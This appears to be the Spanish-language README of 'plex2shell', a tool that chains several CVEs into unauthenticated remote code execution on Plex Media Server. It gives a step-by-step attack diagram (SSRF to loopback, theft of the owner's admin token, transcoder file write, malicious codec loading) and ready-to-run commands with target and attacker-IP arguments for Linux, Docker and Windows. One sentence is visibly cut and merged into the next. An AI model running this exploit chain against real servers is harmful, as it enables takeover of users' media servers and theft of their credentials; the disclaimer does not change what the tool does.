
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
Cadena de RCE no autenticada para Plex Media Server 1.43.3.10828 y versiones anteriores.
CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Análisis: https://zmain.info/blog/plex2shell
Esta herramienta se publica únicamente para pruebas de seguridad autorizadas, investigación académica y fines defensivos. Úsela solo contra sistemas que posea o para los que tenga permiso escrito explícito para probar. Los autores no son responsables del mal uso o los daños causados por esta herramienta. El acceso no autorizado a sistemas informáticos es ilegal.
| CVE | Primitiva |
|---|---|
| CVE-2026-96652 | SSRF no autenticada mediante /player/timeline protocol= |
| CVE-2026-96654 | Pivote a loopback: guarda de autenticación muerta + inyección de identifier= en searchOne |
| CVE-2026-96655 | SSRF del transcodificador autenticado como propietario + escritura de archivos en rutas arbitrarias (dump-yuv) |
| CVE-2026-96656 | Ejecución de código mediante dlopen de códec sin firmar en el directorio de configuración de Codecs |
[internet abierta, token basura]
|
(1) /player/timeline --- SSRF ---> origen loopback
|
(2) /system/agents/.../searchOne --- inyección identifier= --->
| RPC entre plugins
|
(3) networking.py:149 --- confusión de prefijo 127.0.0.1.* --->
| exfiltración del token de administrador propietario
v
el atacante posee el token de administrador del PROPIETARIO
|
(4) /video/:/transcode/universal?path=<url> --- SSRF del transcodificador --->
| obtiene medios del atacante
|
(5) TranscoderH264Options=dump-yuv --- x264 escribe el ELF del atacante
| en el directorio de configuración de Codecs
v
segunda transcodificación -> dlopen() de cada *.so -> se ejecuta el constructor
v
[uid=1000(plex)]
El payload es la luma del fotograma 0 de un portador sin pérdida (qp=0) que el
ffmpeg, gcc (o x86_64-w64-mingw32-gcc para objetivos Windows)# Linux nativo (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# De un solo uso:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
--help para todo lo demás.
GPLv3